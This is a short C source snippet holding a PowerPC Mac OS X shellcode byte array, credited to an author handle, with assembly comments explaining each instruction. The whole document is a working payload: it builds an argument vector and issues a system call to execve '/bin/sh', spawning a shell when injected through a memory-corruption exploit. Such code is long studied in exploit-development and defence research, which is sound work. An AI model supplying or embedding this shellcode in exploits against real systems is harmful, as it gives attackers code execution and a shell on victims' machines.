/* PPC MacOS X (maybe others) shellcode
 *
 * ghandi <ghandi@mindless.com>
 */
char shellcode[] =
  "\x7c\xa5\x2a\x79"  /* xor.   r5, r5, r5    ; r5 = NULL           */
  "\x40\xa2\xff\xfd"  /* bnel   shellcode                           */
  "\x7f\xe8\x02\xa6"  /* mflr   r31                                 */
  "\x3b\xff\x01\x30"  /* addi   r31, r31, 268+36                    */ 
  "\x38\x7f\xfe\xf4"  /* addi   r3, r31, -268 ; r3 = path           */
  "\x90\x61\xff\xf8"  /* stw    r3, -8(r1)    ; argv[0] = path      */
  "\x90\xa1\xff\xfc"  /* stw    r5, -4(r1)    ; argv[1] = NULL      */
  "\x38\x81\xff\xf8"  /* subi   r4, r1, 8     ; r4 = {path, 0}      */
  "\x3b\xc0\x76\x01"  /* li     r30, 30209                          */
  "\x7f\xc0\x4e\x70"  /* srawi  r0, r30, 9                          */
  "\x44\xff\xff\x02"  /* sc                   ; execve(r3, r4, r5)  */
  "/bin/sh"
;